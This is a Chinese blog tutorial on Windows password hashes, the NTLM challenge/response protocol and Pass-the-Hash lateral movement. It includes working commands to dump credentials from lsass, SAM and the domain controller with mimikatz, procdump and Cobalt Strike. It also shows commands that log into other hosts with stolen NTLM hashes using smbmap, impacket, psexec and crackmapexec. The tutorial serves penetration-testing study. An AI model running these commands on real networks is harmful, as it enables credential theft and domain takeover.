首页 > 其他分享 >Pass The hash攻击

Pass The hash攻击

时间:2024-04-16 15:49:05浏览次数:31  
标签:LM Hash 攻击 Challenge NTLM lsass Pass hash

Windows Hash

分类

  • LM Hash
  • NTLM Hash
  • Net-NTLM Hash

Windows Hash简介

  • window系统内部不保存用户的明文密码,只保存密码的Hash值
  • 本机用户的密码Hash是存放SAM文件中,文件路径为:C:\Windows\System32\config\sam
  • 域内用户的密码Hash是存在域控的NTDS.DIT文件中
    • 数据库文件夹:C:\windows\NTDS
    • 日志文件夹:C:\windows\NTDS
    • SYSVOL文件夹:C:\windows\SYSVOL

windows系统导出密码的格式

用户名:RID:LM-Hash:NTLM-Hash
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  • 当windows用户密码小于等于14个字符,SAM文件中是LM Hash值 + NTLM-Hash值
  • 当windows用户密码大于14个字符,SAM文件中是NTLM-Hash值

LM Hash

LM(LAN Mannager) 协议使用的hash就叫做 LM Hash, 由IBM设计和提出, 在过去早期使用。由于其存在比较多的缺点,比较容易破解。
自WindowsVista和Windows Server 2008开始,Windows取消LM hash。

NTLM Hash

为了解决LM加密和身份验证方案中固有的安全弱点,Microsoft 于1993年在Windows NT 3.1中引入了NTLM协议。也就是说从Windows Vista 和 Windows Server 2008开始,默认情况下只存储NTLM Hash,LM Hash将不再存在。如果空密码或者不储蓄LM Hash的话,我们抓到的LM Hash是AAD3B435B51404EEAAD3B435B51404EE

当我们登录系统的时候,系统会将用户输入的密码计算成NTLM Hash,然后与sam数据库中该用户的哈希比对,匹配则登录成功,不匹配则登录失败,他是一种单向哈希算法,windows将用户的密码计算成NTLM哈希之后才存储在电脑中。
在本地认证中,用来处理用户输入密码的进程即lsass.exe,密码会在这个进程中明文保存,供该进程将密码计算成NTLM Hash与sam进行对比
我们使用mimikatz来获取的明文密码,就是在这个进程中读取到的。

本地认证流程

Net NTLM Hash(window网络认证)

在内网渗透中,经常遇到工作组环境,而工作组环境是一个逻辑上的网络环境(工作区),隶属于工作组的机器之间无法互相建立一个完美的信任机制,只能点对点,是比较落后的认证方式,没有信托机构
• 假设A主机与B主机属于同一个工作组环境,A想访问B主机上的资料,需要将一个存在于B主机上的账户凭证发送至B主机,经过
认证才能够访问B主机上的资源
• 最常见的服务:SMB服务端口:445

NTLM(NT LAN Manager)协议

早期SMB协议在网络上传输明文口令。后来出现LAN Manager Challenge/Response验证机制,简称LM,它是如此简单以至很容易就被破解
微软提出了WindowsNT挑战/响应验证机制,称之为NTLM。现在已经有了更新的NTLMv2以及Kerberos验证体系。

  1. 挑战/响应--协商客户端主要在这一步向服务器确认认证的版本,是v1还是V2
  2. 挑战/响应--质询--认证
    • 客户端向服务器端发送用户信息(用户名)请求
    • 服务器接受到请求,生成一个16位的随机数,被称之位"Challenge",使用登录用户名对应的NTLM Hash加密Challenge(16位随机字符)生成Challenge1。同时,生成challenge1后,将Challenge(16位随机字符)发送给客户端**Net NTLM Hash=NTLM Hash(Challenge)
    • 客户端接受到Challenge后,使用将要登录到账号对应的NTLM Hash加密Challenge生成Response,然后将Response发送至服务器端。
    • 服务器收到客户端的Response后,对比Chanllenge1与Response是否相等,若相等,则认证通过。

NTLM V2协议

NTLM v1与NTLM V2最显著的区别就是Challenge.与加密算法不同,共同点就是加密的原料都是NTLM Hash。

  1. Challage:NTLM V1的Challenge有8位,NTLM V2的Challenge为16位。
  2. Net-NTLM Hash:NTLM V1的主要加密算法是DES,NTLM V2的主要加密算法是HMAC-MD5

Pass The Hash攻击思路

首先我们拿到一台内网机器,这台内网机器可能是域用户也可能是本地用户,提权到system权限导出hash值,然后利用本机保存的hash去登录内网其他机器。

在域环境中,利用pass the hash的渗透方式

  1. 获取一台域主机权限
  2. Dump内存获取用户hash
  3. 通过pass the hash尝试登录其他主机
  4. 继续搜索hash并尝试远程登录
  5. 直到获得域管理员账号hash,登录域控,最终控制整个域

获取hash

Mimikatz
读取lsass进程的信息:

privilege::debug
sekurlsa::msv

img

也可以获取全部用户的密钥和明文:

privilege::debug
sekurlsa::logonpasswords

img

读取SAM数据库获取用户Hash,获取系统所有本地用户hash:

privilege::debug
token::elevate
lsadump::sam

可以使用dcsync功能导出域内所有hash

lsadump::dcsync /domain:test.local /all /csv

Cobalt Strike
选中客户端列表->右键选择Access的模块中的Dump Hashes,读取到的凭证可以在菜单栏的view-Credentials中查看。

使用crackmapexec导出hash

转储lsass进程
一般会保存在C:\Users\用户名\AppData\Local\Temp\lsass.DMP
将该文件下载回来放置在Mimikatz的同目录下,执行:

sekurlsa::mindump lsass.DMP
sekurlsa::logonpasswords full

procdump导出lsass.dmp

32位机器:procdump.exe -accepteula -ma lsass.exe lsass.dmp 
64位机器:procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp

Pass The Hash

smbmap

kali已经安装
smbmap -u testuser -p 'aad3b435b51404eeaad3b435b51404ee:de26cce0356891a4a020e7c4957afc72' -H 172.16.0.106 -d hack.lab -x 'whoami'

smbexec.py
smbexec.py是impacket里面的一个工具,在kali是已经预装好的,如果没有安装可以用以下命令进行安装:

python3 -m pip install impacket
smbexec.py hack.lab/[email protected] -hashes 'aad3b435b51404eeaad3b435b51404ee:de26cce0356891a4a020e7c4957afc72'

Mimikatz

privilege::debug
sekurlsa::pth /user:testuser /domain:hack.lab /ntlm:de26cce0356891a4a020e7c4957afc72

psexec
PsExec的基本原理是:通过管道在远程目标主机上创建一个psexec服务,并在本地磁盘中生成一个名为"PSEXESVC"的二进制文件,然后通过psexec服务运行命令,运行结束后删除服务。由于创建或删除服务时会产生大量的日志,可以在攻击溯源时通过日志反推攻击流程。

需要远程系统开启admin共享(默认是开启的),原理是基于IPC共享,目标需要开放445端口和admin在使用IPC连接目标系统后,不需要账号和密码

使用方法:

PsExec.exe \\172.16.0.105 -u hack.lab\lucky -p p@ssw0rd cmd /c "ipconfig"

psexec.py hack.lab/[email protected] -hashes 'aad3b435b51404eeaad3b435b51404ee:de26cce0356891a4a020e7c4957afc72'

CrackMapExec

crackmapexec smb 172.16.0.106 -u testuser -H de26cce0356891a4a020e7c4957afc72 -x whoami -d hack.lab

标签:LM,Hash,攻击,Challenge,NTLM,lsass,Pass,hash
From: https://www.cnblogs.com/kalixcn/p/18138330

相关文章

  • 什么是可散列(hashable)的数据类型
    在Python官方词汇表中,关于hashable类型的定义有这样一段话:Anobjectishashableifithasahashvaluewhichneverchangesduringitslifetime(itneedsahash()method),andcanbecomparedtootherobjects(itneedsaneq()method).Hashableobjectswhichcompa......
  • [题解][2021-2022年度国际大学生程序设计竞赛第10届陕西省程序设计竞赛] Hash
    题目描述给定字符串T,要求求字符串S,满足以下条件:S是T的前缀S和T运行某段代码的哈希值相同(代码见下)T只包含小写字母S和T的长度差不超过50哈希代码://LanguageC++14longlongmod=5999993;longlonggethas(strings){longlongret=0;for(charc:s)ret=......
  • 深度探索:Secure Hash Algorithm(SHA)全景解析
    title:深度探索:SecureHashAlgorithm(SHA)全景解析date:2024/4/1518:33:17updated:2024/4/1518:33:17tags:SHA安全抗碰撞性算法版本实现细节性能优化发展历史应用案例密码学中的哈希函数一、哈希函数的定义哈希函数是一种数学函数,它接受任意长度的输入数据(......
  • 数据结构(HashMap)
    散列表也叫哈希表,是一种通过键值对直接访问的数据结构,哈希能快速的插入、删除、查找操作HashMap的结构hashMap采用的链地址法,主要采用数据+链表(1.8后转红黑树)的数据结构。HashMap的存储数据HashMap是使用哈希表来存储数据的。哈希表为了解决冲突,一般有两种方案:开放地址法......
  • hash()函数在python2和python3的区别
    在Python3中,对于字符串类型的对象,hash()函数会根据当前进程的种子值计算哈希值。这个种子值在每次Python进程启动时都会随机生成。因此,即使是相同的字符串,在不同的Python进程中调用hash()函数会得到不同的哈希值。这种设计的目的是为了增加哈希表的随机性,从而提高安全性......
  • 网络攻击离你有多近?
    2024年4月15日是第九个全民国家安全教育日,今年的主题是“总体国家安全观·创新引领10周年”。这一主题旨在强调总体国家安全观的重要性,以及其在过去十年中对国家安全的创新引领作用。全民国家安全教育日的设立是为了提高全民对国家安全的认识和意识,增强国家安全责任感和使命感。......
  • 数据库SQL注入攻击以及解决方案
    数据库SQL注入攻击以及解决方案--数据库SQL注入攻击selectcount(*)from表whereLoginID='lqwvje'andpwd='123'--拿上面的一个经常用的用户登入实例正常情况下是没有问题count>0即可以登入成功--用户名一但输入了数据库特殊字符如一下一段代码那就可以正常登入......
  • mysql的分区之key,hash分区
    1.hash分区HASH分区主要用来确保数据在预先确定数目的分区中平均分布,要做的只是基于将要被哈希的列值指定一个列值或表达式,以及指定被分区的表将要被分割成的分区数量。hash分区所使用的字段一定要是主键!!createtable表名(.........)engine=MyISAMpartitionbyhash(算......
  • hashchang事件是异步更新的
    1.代码//此时会触发hashchangelocation.hash='/test'window.addEventListener('hashchange',()=>{console.log('hashchenge')})//此时不会触发hashchangelocation.hash='/test'setTimeOut(()......
  • 跨域攻击分析和防御(中)
    利用域信任密钥获取目标域权限 搭建符合条件域环境,域林内信任环境搭建情况如下,如图7-8所示。父域域控:dc.test.com(WindowsServer2008R2)子域域控:subdc.test.com(WindowsServer2012R2)子域内计算机:pc.sub.test.com(Windows7)子域内普通用户:sub\test 图7-8 ......